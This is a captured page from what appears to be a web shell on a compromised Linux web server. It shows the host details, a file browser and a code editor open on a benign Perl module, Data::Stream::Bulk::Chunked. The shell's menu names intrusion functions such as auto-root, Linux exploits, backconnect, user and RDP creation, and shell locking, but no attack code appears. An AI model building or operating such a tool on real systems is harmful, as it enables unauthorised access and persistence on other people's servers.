Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Data /
Stream /
Bulk /
[ HOME SHELL ]
Name
Size
Permission
Action
Path
[ DIR ]
drwxr-xr-x
Array.pm
2.56
KB
-rw-r--r--
Callback.pm
1.53
KB
-rw-r--r--
Cat.pm
1.79
KB
-rw-r--r--
Chunked.pm
2.01
KB
-rw-r--r--
DBI.pm
2.31
KB
-rw-r--r--
DBIC.pm
1.72
KB
-rw-r--r--
DoneFlag.pm
2.15
KB
-rw-r--r--
FileHandle.pm
1.51
KB
-rw-r--r--
Filter.pm
1.87
KB
-rw-r--r--
Nil.pm
1.41
KB
-rw-r--r--
Util.pm
2.45
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Chunked.pm
package Data::Stream::Bulk::Chunked; BEGIN { $Data::Stream::Bulk::Chunked::AUTHORITY = 'cpan:NUFFIN'; } { $Data::Stream::Bulk::Chunked::VERSION = '0.11'; } use Moose; # ABSTRACT: combine streams into larger chunks use namespace::clean -except => 'meta'; with 'Data::Stream::Bulk::DoneFlag'; has stream => ( is => 'ro', does => 'Data::Stream::Bulk', required => 1, ); has chunk_size => ( is => 'ro', isa => 'Int', default => 1, ); sub get_more { my $self = shift; my $s = $self->stream; my $size = $self->chunk_size; my @data; push @data, $s->items until $s->is_done || @data >= $size; return unless @data; return \@data; } __PACKAGE__->meta->make_immutable; 1; __END__ =pod =head1 NAME Data::Stream::Bulk::Chunked - combine streams into larger chunks =head1 VERSION version 0.11 =head1 SYNOPSIS use Data::Stream::Bulk::Chunked; Data::Stream::Bulk::Chunked->new( stream => $s, chunk_size => 10000, ); =head1 DESCRIPTION This is a stream which wraps an existing stream to give more items in a single block. This can simplify application code which does its own processing one block at a time, and where processing larger blocks is more efficient. =head1 ATTRIBUTES =over 4 =item stream The stream to chunk. Required. =item chunk_size The minimum number of items to return in a block. Defaults to 1 (which does nothing). =back =head1 METHODS =over 4 =item get_more See L<Data::Stream::Bulk::DoneFlag>. Returns at least C<chunk_size> items. Note that this isn't guaranteed to return exactly C<chunk_size> items - it just returns multiple full blocks from the backend. Also, the final block returned may have less than C<chunk_size> items. =back =head1 AUTHOR Yuval Kogman <nothingmuch@woobling.org> =head1 COPYRIGHT AND LICENSE This software is copyright (c) 2012 by Yuval Kogman. This is free software; you can redistribute it and/or modify it under the same terms as the Perl 5 programming language system itself. =cut
Close